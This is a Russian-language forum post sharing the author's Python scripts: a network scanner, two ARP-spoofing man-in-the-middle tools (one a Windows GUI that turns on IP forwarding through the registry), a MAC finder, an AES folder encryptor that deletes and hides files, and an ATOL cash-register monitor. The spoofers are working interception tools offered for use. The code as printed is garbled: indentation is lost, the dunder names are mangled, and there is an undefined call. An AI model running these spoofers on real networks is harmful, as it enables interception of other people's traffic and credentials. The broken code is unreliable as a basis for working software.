• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Автоматизация задач системного администратора: Скрипты для эффективного управления

TR1X

Grey Team
04.04.2020
232
159
Привет и здравствуй CODEBY

Scripts_Python.webp

Скрипты для автоматизации: Ваш арсенал эффективного управления и анализа

В этой статье я хотел бы поделиться некоторыми скриптами для автоматизации, которые выручали меня в разных сегментах "паутины", при решении различных задач (иногда даже очень полезных 😉) и в прочем мире пакетов и кадров. Немного подумав, не хотел бы сильно размазывать и размывать океанические просторы, поэтому сразу перейдем к делу после короткого отступления.

Отступление: О наших скриптах для системного администратора

На просторах интернета можно найти множество готовых скриптов под разные задачи, такие как сканирование сети, спуфинг и т.д. Я добавлю сюда рабочие варианты, которые я писал сам, только одна работа будет не моя, об этом я напишу ниже.
Но все-таки иногда приходится попотеть, чтобы найти и доработать под себя какие-то варианты. Постараюсь выложить то, что полностью работает в первоначальном виде. Не кидайте камни, если вы видели похожие функции – программисты и кодеры должны делиться своими работами, чтобы ИТ-сообщество в целом развивалось, я думаю так. Да и вообще я за бесплатный интернет, анонимность, торренты и, конечно, бесплатные печеньки 🍪, но об этом пока тсссс 😉 Итак :

СЕТЬ

NETWORK SCAN

Сканер сети тут реализован через outparse. Я не помню почему так сделал, но видимо изучал эту библиотеку и работу с аргументами. В общем ставим модули, ставим npcap и заходим в папку со скриптом:

Для сканирования сетки команда
python ms.py -n 192.168.1.0/24 - scanning network

Вообще сканер на питон не особо полезная штука, я лично пользуюсь готовыми вариантами, но из него можно собрать что-то более ценное, далее. В этот скрипт также вшит МИТМ, но для перехвата пакетов предлагаю использовать программу из спойлера ниже

1750254255627.webp


from optparse import OptionParser
from scapy.all import *


def local_scan(ip):
ip_gw = conf.route.route("0.0.0.0")[2]
#print(ip_gw + ' #### ip_gateway #### ')
apr_requests = ARP(pdst=ip)
broadcast = Ether(dst='ff:ff:ff:ff:ff:ff')
arp_pack = broadcast / apr_requests
answered_list = srp(arp_pack, timeout=5, verbose=False)[0]
for element in answered_list:
print(element[1].psrc + ' >>> ip_addr' + ' ' + '####',
element[1].hwsrc + ' >>> mac_addr')


def get_mac(target_ip):
arp_request = ARP(pdst=target_ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = srp(arp_request_broadcast, timeout=5, verbose=False)[0]
#print(answered_list)
return answered_list[0][1].hwsrc


def arp_spoof(ip_gw, ip_spoof):
send_packet_count = 0
mac_gw = get_mac(ip_gw)
mac_spoof = get_mac(ip_spoof)
packet_1 = ARP(op=2, pdst=ip_gw, hwdst=mac_gw, psrc=ip_spoof)
packet_2 = ARP(op=2, pdst=ip_spoof, hwdst=mac_spoof, psrc=ip_gw)
try:
while True:
send_packet_count += 2
send(packet_1, verbose=False)
send(packet_2, verbose=False)
print('\r### was_send ' + str(send_packet_count) + ' arp_packet ###', end="")
time.sleep(1)
except KeyboardInterrupt:
print('# Keyboard_Interrupt #')
restore_spoof(ip_gw, ip_spoof)


def restore_spoof(ip_gw, ip_spoof):
mac_gw = get_mac(ip_gw)
mac_spoof = get_mac(ip_spoof)
packet_1 = ARP(op=2, pdst=ip_gw, hwdst=mac_gw, psrc=ip_spoof, hwsrc=mac_spoof)
packet_2 = ARP(op=2, pdst=ip_spoof, hwdst=mac_spoof, psrc=ip_gw, hwsrc=mac_gw)
scapy.send(packet_1, count=4, verbose=False)
scapy.send(packet_2, count=4, verbose=False)

def main():
parser = OptionParser("Usage: target_network spoof_ip gateway_ip ") # Вывод справочной информации
parser.add_option("-n", '--network',type="string", dest="nwIP",help="scanning local network") # сеть
parser.add_option("-t", '--target',type="string", dest="tgIP",help="spoofing target")
parser.add_option("-g", '--gatewa',type="string", dest="gwIP",help="spoofing gateway")
options,args = parser.parse_args() # создание экземпляра параметров, введенных пользователем
# получаем аргументы
network = options.nwIP
target = options.tgIP
gateway = options.gwIP

if network:
local_scan(network)

if target and gateway:
arp_spoof(target, gateway)


if name == "main":
main()

MITM

Если вы сидите на винде, то это точно может пригодиться. На линуксе есть встроенные средства для перехвата пакетов в локальной сети. На мастдае чуть посложнее.

При первом запуске мы должны включить кнопку enable (не помню нужна ли перезагрузка) скрипт поменяет значение ключа в реестре на 1 и это позволит сетевой карте пропускать пакеты через себя, чтобы мы врубили wireshark и смотрели что происходит на интересующем айпишнике.

Это не всегда нужно для каких-то темных целей (типа я ща твой http пароль украду) а может понадобиться, если вы, например, попали в компанию с большой и плохо организованной сетью, чтобы найти нужные устройства по макам. У меня когда то были фотки всех маков камер, тарелок и тд. и меня это очень спасало, пока мы не привели сеть в порядок.

1750254225375.webp


import os
import sys
import winreg
import threading

from scapy.all import *
from tkinter import *
import tkinter as tk
from tkinter import ttk
from tkinter import scrolledtext
from tkinter import filedialog as fd
from tkinter import messagebox
from tkinter.messagebox import OK, INFO, showinfo, showerror


class MainWindow(tk.Frame):
def init(self, root):
super().init(root)
self.init_main()

def init_main(self):
self.thread_stop = False
self.thread_count = 0
self.lb_name = Label(text=u"< Enter spoofing ip >", font="Calibri 12", fg="white", bg="black")
self.lb_name.pack()
self.name = Entry(width=24, font="Calibri 13", fg="white", bg="black")
self.name.pack(padx=10)

self.btn_start = tk.Button(text='start', font="Calibri 12", fg="white", bg="#0d0d0d", width=14, height=1, compound='left',
command=lambda: self.start_spoof(self.name.get()))
self.btn_start.place(x=45, y=80)

self.btn_stop = tk.Button(text='stop', font="Calibri 12", fg="white", bg="#0d0d0d", width=14, height=1, compound='left',
command=lambda: self.restore_spoof(self.name.get()))
self.btn_stop.place(x=225, y=80)

self.btn_enable = tk.Button(text='enable', font="Calibri 12", fg="white", bg="#0d0d0d", width=14, height=1, compound='left',
command=lambda: self.enable_regedit())
self.btn_enable.place(x=45, y=130)

self.btn_enable = tk.Button(text='disable', font="Calibri 12", fg="white", bg="#0d0d0d", width=14, height=1, compound='left',
command=lambda: self.disable_regedit())
self.btn_enable.place(x=225, y=130)

def close_(self):
sys.exit()

def validate_ip(self, ip):
a = ip.split('.')
if len(a) != 4:
return False
for x in a:
if not x.isdigit():
return False
i = int(x)
if i < 0 or i > 255:
return False
return True

def enable_regedit(self):
try:
key = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters")
winreg.SetValueEx(key, "IPEnableRouter", 0, winreg.REG_SZ, "1")
messagebox.showinfo(title="Info", message="Ip forwarding is enable. Restart your PC.", icon=INFO, default=OK)
except Exception as e:
print(e)
showerror(title="Error", message="Enable error. Please run as Administrator.")

def disable_regedit(self):
try:
key = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters")
winreg.SetValueEx(key, "IPEnableRouter", 0, winreg.REG_SZ, "0")
messagebox.showinfo(title="Info", message="Ip forwarding is disable. Restart your PC.", icon=INFO, default=OK)
except Exception as e:
print(e)
showerror(title="Error", message="Disabled error. Please run as Administrator.")

def get_mac(self, target_ip):
arp_request = ARP(pdst=target_ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = srp(arp_request_broadcast, timeout=5, verbose=False)[0]
print(answered_list[0][1].hwsrc)
return answered_list[0][1].hwsrc

def arp_spoof(self, ip_spoof):
self.thread_stop = False
if not self.validate_ip(ip_spoof):
showerror(title="Error", message="Please, enter correct ip")
else:
send_packet_count = 0
ip_gw = conf.route.route("0.0.0.0")[2]
mac_gw = self.get_mac(ip_gw)
mac_spoof = self.get_mac(ip_spoof)
packet_1 = ARP(op=2, pdst=ip_gw, hwdst=mac_gw, psrc=ip_spoof)
packet_2 = ARP(op=2, pdst=ip_spoof, hwdst=mac_spoof, psrc=ip_gw)
while True:
if self.thread_stop:
return
send_packet_count += 2
send(packet_1, verbose=False)
send(packet_2, verbose=False)
print('\r### was_send ' + str(send_packet_count) + ' arp_packet ###', end="")
time.sleep(0.5)

def start_spoof(self, ip_spoof):
self.thread_count += 1
if self.thread_count > 1:
showerror(title="Error", message="I cant run new thread")
else:
spoofer = threading.Thread(name="spoofer", target=self.arp_spoof, args=(ip_spoof, ))
spoofer.start()

def restore_spoof(self, ip_spoof):
self.thread_stop = True
self.thread_count = 0
if not self.validate_ip(ip_spoof):
showerror(title="Error", message="Please, enter correct ip")
else:
ip_gw = conf.route.route("0.0.0.0")[2]
mac_gw = self.get_mac(ip_gw)
mac_spoof = self.get_mac(ip_spoof)
packet_1 = ARP(op=2, pdst=ip_gw, hwdst=mac_gw, psrc=ip_spoof, hwsrc=mac_spoof)
packet_2 = ARP(op=2, pdst=ip_spoof, hwdst=mac_spoof, psrc=ip_gw, hwsrc=mac_gw)
send(packet_1, count=4, verbose=False)
send(packet_2, count=4, verbose=False)
print('off')

def run_app():
root = tk.Tk()
root.resizable(width=False, height=False)
MainWindow(root)
root.title("windows spoofer")
root.geometry("400x180")
root.configure(bg="black")
root.mainloop()


if name == 'main':
qr = MainWindow
qr.run_app()


FIND MAC

Самый часто используемый мной скрипт это поиск устройства по маку, чтобы найти айпишник и подключится, если по дхцп вдруг был получен друой адрес и вы не знаете его.

find_mac('192.168.0.1/24', '00:00:00:00:00:00') тут прописываем сетку где ищем и сам мак адрес. Скрипт найдет ip адрес устройства. Можно не сильно попотев улучшить его, чтобы не вбивать каждый раз ручками, но мне лень :)


import json
import subprocess

from scapy.all import *


def find_mac(ip, mac):

ip_gw = conf.route.route("0.0.0.0")[2]

apr_requests = ARP(pdst=ip)
broadcast = Ether(dst='ff:ff:ff:ff:ff:ff')
arp_pack = broadcast / apr_requests
#print(hexdump(arp_pack))
answered_list = srp(arp_pack, timeout=5, verbose=False)[0]
for element in answered_list:
if str(element[1].hwsrc) == mac:
print(element[1].psrc)
else:
pass


def main():
find_mac('192.168.0.1/24', '36:7c:b5:d0:5a:00')


if name == "main":
main()
CRYPT

Я когда то писал статью про шифрование и делал там прогу на змейке для шифрования файлов. Тут я скину улучшеную версию. Архив с криптом - EASY_CRYPT.zip.


1750255722144.webp


Вводите директорию шифрования (папку, которую хотите зашифровать) и пароль. По кнопке crypt все файлы зашифруются AES256-CBC и будут скрыты. Так что не пугайтесь если они пропадут с экрана :) decrypt вернет все на место. Скину код в спойлер, но скрипт без картинок не запустится соответственно.

#!/usr/bin/env python
import os
import sys
import threading
import ctypes
import win32con, win32api

import pyperclip
import pyAesCrypt
from tkinter import *
import tkinter as tk
from tkinter import ttk
from tkinter import scrolledtext


FILE_ATTRIBUTE_HIDDEN = 0x02
FILE_ATTRIBUTE_DIRECTORY = 0x10


class MainWindow(tk.Frame):
def init(self, root):
super().init(root)
self.init_main()

def init_main(self):
self.img_cache = []
self.thread_count = 0
self.path_error = False
lb_dir = Label(text=u"Директория шифрования", font="Alef 10", fg="#9dff00", bg="#1a1a1a")
lb_dir.pack()
self.ent_value_dir = Entry(width=40, font="Alef 10", fg="#9dff00", bg="#1a1a1a")
self.ent_value_dir.place(x=50, y=20)
self.ent_value_dir.pack()
lb_pass = Label(text=u"Пароль", font="Alef 10", fg="#9dff00", bg="#1a1a1a")
lb_pass.pack()
ent_value_pass = Entry(width=40, font="Alef 10", fg="#9dff00", bg="#1a1a1a", show="*")
ent_value_pass.pack()
crypt_img = PhotoImage(file='1.png')
self.img_cache.append(crypt_img)
btn_crypt = tk.Button(text=' CRYPT', fg="#9dff00", bg="#1a1a1a", width=80, image=self.img_cache[0], compound='left', command=lambda: self.crypting(self.ent_value_dir.get(), ent_value_pass.get()))
btn_crypt.place(x=10, y=24)
decrypt_img = PhotoImage(file='2.png')
self.img_cache.append(decrypt_img)
btn_decrypt = tk.Button(text=' DECRT', fg="#9dff00", bg="#1a1a1a", width=80, image=self.img_cache[1], compound='left', command=lambda: self.decrypting(self.ent_value_dir.get(), ent_value_pass.get()))
btn_decrypt.place(x=10, y=60)
paste_img = PhotoImage(file='3.png')
self.img_cache.append(paste_img)
btn_stop = tk.Button(text=' PASTE', fg="#9dff00", bg="#1a1a1a", width=80, image=self.img_cache[2], compound='left', command=lambda: self.paste_dir_to_entry())
btn_stop.place(x=462, y=23)
stop_img = PhotoImage(file='4.png')
self.img_cache.append(stop_img)
btn_stop = tk.Button(text=' STOP', fg="#9dff00", bg="#1a1a1a", width=80, image=self.img_cache[3], compound='left', command=lambda: self.close_crypter())
btn_stop.place(x=462, y=60)
self.console = scrolledtext.ScrolledText(fg="#9dff00", bg="#1a1a1a", bd=3, state='disable', font="Alef 9")
self.console.pack(pady=20)

def close_crypter(self):
sys.exit()

def insert_to_console(self, text):
self.console.configure(state='normal') # enable insert
self.console.insert(END, text)
self.console.yview(END) # autoscroll
self.console.configure(state='disabled')

def paste_dir_to_entry(self):
self.ent_value_dir.insert(tk.END, pyperclip.paste())

def crypt_file(self, file, password):
bufferSize = 512 * 1024
try:
pyAesCrypt.encryptFile(str(file), str(file) + ".Dead__Man'$__Che$t",
password, bufferSize)
self.insert_to_console('file was encrypt $ ' + str(file) + ".Dead__Man'$__Che$t" + '\n')
os.remove(file)
hidden_f = win32api.SetFileAttributes(str(file) + ".Dead__Man'$__Che$t", win32con.FILE_ATTRIBUTE_HIDDEN)
except Exception as e:
pass

def crypt_disks_win(self, dir, password):
try:
for file in os.listdir(dir):
if os.path.isdir(dir + '\\' + file):
self.crypt_disk(dir + '\\' + file, password)
if os.path.isfile(dir + '\\' + file):
try:
self.crypt_file(dir + '\\' + file, password)
except Exception as ex:
self.insert_to_console(ex)
pass
except OSError:
self.path_error = True
return

def crypt_disk(self, dir, password):
hidden_dir = ctypes.windll.kernel32.SetFileAttributesW(dir, FILE_ATTRIBUTE_HIDDEN)
try:
for file in os.listdir(dir):
if os.path.isdir(dir + '/' + file):
self.crypt_disk(dir + '/' + file, password)
if os.path.isfile(dir + '/' + file):
try:
if file[-19::] == ".Dead__Man'$__Che$t":
pass
else:
self.crypt_file(dir + '/' + file, password)
except Exception as ex:
self.insert_to_console(ex)
pass
self.thread_count = 0
except OSError:
self.path_error = True
return

def decrypt_file(self, file, password):
#normal_f = win32api.SetFileAttributes(file, win32con.FILE_ATTRIBUTE_NORMAL)
bufferSize = 512 * 1024
try:
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]),
password, bufferSize)
self.insert_to_console('file was decrypt $ ' + str(os.path.splitext(file)[0]) + '\n')
os.remove(file)
except Exception as e:
self.insert_to_console(e)
pass

def decrypt_disk_win(self, dir, password):
try:
for file in os.listdir(dir):
if os.path.isdir(dir + '\\' + file):
self.decrypt_disk(dir + '\\' + file, password)
if os.path.isfile(dir + '\\' + file):
try:
self.decrypt_file(dir + '\\' + file, password)
except Exception as ex:
self.insert_to_console(ex)
pass
except OSError:
self.path_error = True
pass

def decrypt_disk(self, dir, password):
normal_dir = ctypes.windll.kernel32.SetFileAttributesW(dir, FILE_ATTRIBUTE_DIRECTORY)
try:
for file in os.listdir(dir):
if os.path.isdir(dir + '/' + file):
self.decrypt_disk(dir + '/' + file, password)
if os.path.isfile(dir + '/' + file):
try:
self.decrypt_file(dir + '/' + file, password)
except Exception as ex:
self.insert_to_console(ex)
pass
self.thread_count = 0
except OSError:
self.path_error = True
return

def crypting(self, dir, password):
if self.path_error or password == '':
self.path_error = False
self.thread_count = 0
self.insert_to_console('Ошибка : Неправильный путь или ты не Deavy Jones !\n')
return
else:
self.thread_count += 1
if self.thread_count > 1:
# print(threading.enumerate())
self.insert_to_console('Ограничение потока, запущено : 1\n')
return
pycrypt = threading.Thread(name="aesEncryptor", target=self.crypt_disk, args=(dir, password))
pycrypt.start()

def decrypting(self, dir, password):
if self.path_error or password == '':
self.path_error = False
self.thread_count = 0
self.insert_to_console('Ошибка : Неправильный путь или ты не Deavy Jones !\n')
return
else:
self.thread_count += 1
if self.thread_count > 1:
self.insert_to_console('Ограничение потока, запущено : 1\n')
return
pycrypt = threading.Thread(name="aesDecryptor", target=self.decrypt_disk, args=(dir, password))
pycrypt.start()

def run_app():
root = tk.Tk()
root.resizable(width=False, height=False)
MainWindow(root)
root.title("Encryptor che$t")
root.iconbitmap("main.ico")
root.geometry("562x250")
root.configure(bg="#1a1a1a")
root.mainloop()


if name == 'main':
zv = MainWindow
zv.run_app()

КАССЫ АТОЛ

1750257540195.webp


Архив kassa_python.zip, сам код будет ниже. Очень нудно рыл инфу по ним. В общем они стоят практически во всех компаниях, которые занимаются коммерческой деятельностью. Для подключения нужен специальный драйвер, я сейчас не буду вдаваться в подробности, у АТОЛа есть документация в нете. В архиве уже лежит fptr10.dll и libfptr10.py эти библиотеки и нужны для подключения, так что скрипт будет работать с вашими кассами сразу из архива.

Я брал с касс только определенные параметры, которые мне были нужны для мониторинга и чтобы считать другую информацию, вам все-таки придется обратиться к документации АТОЛ. Параметры находятся в блоке try и этот пример для одной кассы. Можно сделать ip лист и передавать в скрипт IP и PORT в цикле.

import os
import sys
from libfptr10 import IFptr
from datetime import datetime


DRIVER_PATH = os.path.join(os.getcwd(), 'fptr10.dll')
fptr = IFptr(DRIVER_PATH)

STATUS_STATE_STR = ''


def start():
try:
while True:
print('')
command = input('Input "check" or Ctrl+C # ')
if command == 'check':
IP = input('Input ip address # ')
#IP = '192.168.0.0'
PORT = "5555"
SOCKET_KKM = '{}:{}'.format(IP, PORT)

none_time = datetime(1970, 1, 1, 0)


fptr.setSingleSetting(IFptr.LIBFPTR_SETTING_MODEL, str(IFptr.LIBFPTR_MODEL_ATOL_AUTO))
fptr.setSingleSetting(IFptr.LIBFPTR_SETTING_PORT, str(IFptr.LIBFPTR_PORT_TCPIP))
fptr.setSingleSetting(IFptr.LIBFPTR_SETTING_IPADDRESS, IP)
fptr.setSingleSetting(IFptr.LIBFPTR_SETTING_IPPORT, PORT)
result = fptr.applySingleSettings()

try:
fptr.open()
isOpened = fptr.isOpened()
if isOpened == 0:
print('')
print('No connection with {}\n'.format(SOCKET_KKM))
print('')
print('Connection with {} was successful\n'.format(SOCKET_KKM))

fptr.setParam(IFptr.LIBFPTR_PARAM_DATA_TYPE, IFptr.LIBFPTR_DT_STATUS)
fptr.queryData()

NUMBER_KKT = fptr.getParamString(IFptr.LIBFPTR_PARAM_SERIAL_NUMBER)
#STATUS_STATE = fptr.getParamInt(IFptr.LIBFPTR_PARAM_SHIFT_STATE)
KKM_TIME = fptr.getParamDateTime(IFptr.LIBFPTR_PARAM_DATE_TIME)


# Обмен с ОФН
fptr.setParam(IFptr.LIBFPTR_PARAM_FN_DATA_TYPE, IFptr.LIBFPTR_FNDT_OFD_EXCHANGE_STATUS)
fptr.fnQueryData()

NOT_TRANS_DOC = fptr.getParamInt(IFptr.LIBFPTR_PARAM_DOCUMENTS_COUNT)
DATA_LAST_TRANS = fptr.getParamDateTime(IFptr.LIBFPTR_PARAM_DATE_TIME)
DATA_FN_KEY = fptr.getParamDateTime(IFptr.LIBFPTR_PARAM_LAST_SUCCESSFUL_OKP)

#if STATUS_STATE == 0:
#STATUS_STATE_STR = 'Закрыта'
#elif STATUS_STATE == 1:
#STATUS_STATE_STR = 'Открыта'
#elif STATUS_STATE == 2:
#STATUS_STATE_STR = 'Истекла'


if int(NOT_TRANS_DOC) > 0:
if DATA_FN_KEY == none_time:
print('{}; ККМ №: {}; Дата/Время: {}; Непереданные чеки: {}; Первый непереданный: {};'.format(
SOCKET_KKM, NUMBER_KKT, KKM_TIME, NOT_TRANS_DOC, DATA_LAST_TRANS))
else:
print('{}; ККМ №: {}; Дата/Время: {}; Непереданные чеки: {}; Первый непереданный: {}; Дата/время последнего ОКП: {};'.format(
SOCKET_KKM, NUMBER_KKT, KKM_TIME, NOT_TRANS_DOC, DATA_LAST_TRANS, DATA_FN_KEY))
else:
if DATA_FN_KEY == none_time:
print('{}; ККМ №: {}; Дата/Время: {}; Непереданные чеки: {};'.format(
SOCKET_KKM, NUMBER_KKT, KKM_TIME, NOT_TRANS_DOC))
else:
print('{}; ККМ №: {}; Дата/Время: {}; Непереданные чеки: {}; Дата/время последнего ОКП: {};'.format(
SOCKET_KKM, NUMBER_KKT, KKM_TIME, NOT_TRANS_DOC, DATA_FN_KEY))


# debugger
# print(fptr.errorDescription())
fptr.close()

except Exception as e:
print(e)
fptr.close()
else:
print('Wrong command')
except KeyboardInterrupt:
sys.exit()


if name == 'main':
os.system('color a')
start()

WEB

1750257675064.webp


Если нужен простой видео хостинг, выложу сюда вариант на питоне. Он уже готов, с админкой и можно загружать видео. Работа не моя. Архив - videohosting_v1.1.zip. Запускаем с run.py, ссылка на админку в файле .env

Конец ?

Все нужные нам на данный момент интрументы написаны, на гите и других рессурсах много скриптов и программ из которых мы выдираем куски и переделываем под себя. Я, продолжая эту ветку, не сделал ничего нового, но упростил часть работы для себя. Скрипты также есть на моем git, но я не особо занимаюсь им, поэтому много чего туда не выкладываю.

Всем желаю хорошего настроения, роста и развития в своих начинаниях и на уже протоптанных маршрутах. Есть некоторые интересные идеи по статьям, так что увидимся позже. Всем салют codeby ;)
 

Вложения

Последнее редактирование модератором:
  • Нравится
Реакции: Сергей Попов
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab